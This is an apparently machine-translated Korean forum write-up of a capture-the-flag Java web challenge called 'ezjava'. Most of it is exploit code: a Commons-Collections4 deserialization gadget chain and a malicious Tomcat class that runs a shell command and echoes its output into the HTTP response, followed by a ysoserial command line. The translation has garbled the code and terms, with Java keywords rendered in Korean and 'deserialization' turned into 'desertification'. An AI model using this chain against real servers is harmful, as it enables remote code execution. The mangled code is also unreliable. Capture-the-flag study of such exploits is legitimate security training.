KoreanHackerTeam
Moderator
0x01 web
1.ezjava
소스 코드를 다운로드하여 JAR 파일을 디 컴파일하고 Post /MyTest가 사막화 취약점을 갖는 것을 발견했습니다.
Util, 그것은 결국 쓸모없는 것 같습니다

프로그램을 점검하고 Apache의 공통 수집 4와 사막화 활용 클래스가 패치되지 않았는지 확인하십시오.

나는 Commons-Collection4-4.0을 한눈에 보았으므로 ysoserial을 직접 사용하여 그것을 때렸습니다.
테스트 사이트는 그것이 CC4임을 발견했습니다
첨부 된 기사
또한 Spring-Ech는 인터넷에 기성품 POC를 가지고 있습니다
바퀴를 만드십시오!
패키지 MOE.ORANGEMC;
import com.sun.org.apache.xalan.internal.xsltc.trax.templatesimpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.traxfilter;
javassist.classpool 가져 오기;
javassist.ctclass 가져 오기;
import org.apache.commons.collections.transformer;
import org.apache.commons.collections4.comparators.transformingcomparator;
import org.apache.commons.collections.functors.chainttransformer;
import org.apache.commons.collections.functors.constanttransformer;
import org.apache.commons.collections.functors.instantiateTransformer;
javax.xml.transform.templates import;
import java.io.bytearrayinputstream;
import java.io.BytearRayoutputStream;
import java.io.objectinputstream;
import java.io.objectoutputStream;
import java.lang.reflect.field;
java.util.base64 가져 오기;
java.util.priorityqueue import;
공개 클래스 메인 {
public static void main (String [] args) {
노력하다 {
classpool classpool=classpool.getDefault ();
ctclass ctclass=classpool.getctclass ( 'Meow');
바이트 [] bytes=ctclass.tobytecode ();
TemplatesImpl Templates=새로운 TemplatesImpl ();
필드 f1=템플릿 .getClass (). getDeclaredfield ( '_ name');
필드 f2=템플릿 .getClass (). getDeclaredfield ( '_ bytecodes');
f1.setAccessible (true);
f2.setAccessible (true);
f1. 세트 (템플릿, 'Meow');
f2. 세트 (템플릿, 새로운 바이트 [] [] {bytes});
TransformerClass? 객체 chainedtransformer=new ChainedTransformer (new constanttransformer (traxfilter.class), new instantiateTransformer (new class [] {templates.class}, new Object [] {templates});
TransformingComparatorClass? 객체 TransformingComparator=New TransformingComparator (ChainedTransformer);
PriorityQueueInteger 대기열=새로운 PriorityQueue (2);
queue.add (1);
queue.add (1);
필드 F=queue.getClass (). getDeclaredfield ( '비교기');
f.setAccessible (true);
F. 세트 (대기열, 변형 회사);
필드 f3=queue.getClass (). getDeclaredfield ( 'queue');
f3.setAccessible (true);
f3. 세트 (큐, 새 개체 [] {chainedtransformer, chainttransformer});
BytearRayoutputStream Baos=새로운 BytearRayoutputStream ();
ObjectOutputStream OOS=새로운 ObjectOutputStream (BAOS);
oos.writeobject (대기열);
oos.close ();
문자열 result=new String (base64.getEncoder (). encode (baos.tobytearray ()));
System.out.println (결과);
} catch (예외 e) {
e.printstacktrace ();
}
}
} 위의 코드에 따르면 반향 할 수는 없지만 바이두에 따르면 Apache Catalina를 사용하여 에코에 사용될 수 있습니다. 동시에이 클래스 라이브러리 :이 패키지에 포함되어 있습니다.

악성 수업 작성 :
import com.sun.org.apache.xalan.internal.xsltc.dom;
import com.sun.org.apache.xalan.internal.xsltc.transletexception;
import com.sun.org.apache.xalan.internal.xsltc.runtime.abstracttranslet;
import com.sun.org.apache.xml.internal.dtm.dtmaxisiterator;
import com.sun.org.apache.xml.internal.serializer.serializationhandler;
공개 클래스 Meow 확장 actracttranslet {
공개 Meow () {
감독자();
this.namesarray=new String [] { 'Meow'};
노력하다 {
java.lang.reflect.field contextfield=org.apache.catalina.core.standardContext.class.getDeclaredfield ( 'context');
java.lang.reflect.field servicefield=org.apache.catalina.core.applicationcontext.class.getDeclaredfield ( 'service');
java.lang.reflect.field requestfield=org.apache.coyote.requestinfo.class.getDeclaredfield ( 'req');
java.lang.reflect.method gethandlermethod=org.apache.coyote.abstractprotocol.class.getDeclaredMethod ( 'gethandler', null);
contextfield.setAccessible (true);
servicefield.setAccessible (true);
requestfield.setAccessible (true);
gethandlermethod.setAccessible (true);
org.apache.catalina.loader.webappclassloaderbase webappclassloaderbase=
(org.apache.catalina.loader.webappclassloaderbase) Thread.currentThread (). getContextClassLoader ();
org.apache.catalina.core.applicationcontext ApplicationContext=(org.apache.catalina.core.applicationContext) contextfield.get (webAppClassLoaderBase.getResources (). getContext ());
org.apache.catalina.core.standardservice Standardardservice=(org.apache.catalina.core.standardservice) servicefield.get (ApplicationContext);
org.apache.catalina.connector.connector [] connectors=Standardservice.findConnectors ();
for (int i=0; iConnectors.length; i ++) {
if (4==커넥터 .getScheme (). length ()) {
org.apache.coyote.protocolhandler protocolhandler=커넥터 .getProtocolhandler ();
if (org.apache.coyote.http11.abstracthttp11protocol)의 (프로토콜 핸들러 인스턴스) {
class [] classe=org.apache.coyote.abstractprotocol.class.getDeclaredClasses ();
for (int j=0; j classes.length; j ++) {
if (52==(클래스 [j] .getName (). length ()) || 60==(classe [j] .getName (). length ()) {
system.out.println (classe [j] .getName ());
java.lang.reflect.field globalfield=classes [j] .getDeclaredfield ( 'global');
java.lang.reflect.field Processorsfield=org.apache.coyote.requestgroupinfo.class.getDeclaredfield ( 'Processors');
Globalfield.setAccessible (true);
Processorsfield.setAccessible (true);
org.apache.coyote.requestgroupinfo requestgroupinfo=(org.apache.coyote.requestgroupinfo) globalfield.get (gethandlermethod.invoke (protocolhandler, null));
java.util.list list=(java.util.list) processorsfield.get (requestGroupInfo);
for (int k=0; k list.size (); k ++) {
org.apache.coyote.request temprequest=(org.apache.coyote.request) requestfield.get (list.get (k));
System.out.println (temprequest.getheader ( 'tomcat'));
org.apache.catalina.connector.request request=(org.apache.catalina.connector.request) temprequest.getNote (1);
문자열 cmd='' + 'cat /flag' + '';
문자열 [] cmds=! system.getProperty ( 'os.name'). tolowercase (). contains ( 'win')? 새 문자열 [] { 'sh', '-c', cmd} : 새 문자열 [] { 'cmd.exe', '/c', cmd};
java.io.inputStream in=runtime.getRuntime (). exec (cmds) .getInputStream ();
java.util.scanner s=new java.util.scanner (in) .usedelimiter ( '\ n');
문자열 출력=s.hasnext ()? s.next () : '';
java.io.writer writer=request.getResponse (). getWriter ();
java.lang.reflect.field usedwriter=request.getResponse (). getClass (). getDeclaredfield ( 'usingwriter');
usingwriter.setAccessible (true);
udingwriter.set (request.getResponse (), boolean.false);
Writer.write (출력);
Writer.flush ();
부서지다;
}
부서지다;
}
}
}
부서지다;
}
}
} catch (예외 e) {
}
}
@보수
public void transform (dom document, serializationhandler [] handlers) translexception {
}
@보수
Public Void Transform (DOM Document, DTMAXISITERATOR ITERATOR, SERIALIDIZANDLER Handler) TransLeTexception {
}
}
돌아 다니면서 Master Y4er의 Ysoserial의 수정 된 버전을 찾았습니다.
GitHub - Y4er/ysoserial: ysoserial修改版,着重修改ysoserial.payloads.util.Gadgets.createTemplatesImpl使其可以通过引入自定义class的形式来执行命令、内存马、反序列化回显。
ysoserial修改版,着重修改ysoserial.payloads.util.Gadgets.createTemplatesImpl使其可以通过引入自定义class的形式来执行命令、内存马、反序列化回显。 - Y4er/ysoserial
java -jar ysoserial-main-1736fa42da-1.jar commonscollections4 'class:tomcatcmdecho'| 베이스 64
패키지를 보낼 때는 컨텐츠 유형을 삭제하십시오

두 번째 전송이있을 때 명령이 성공적으로 실행되었습니다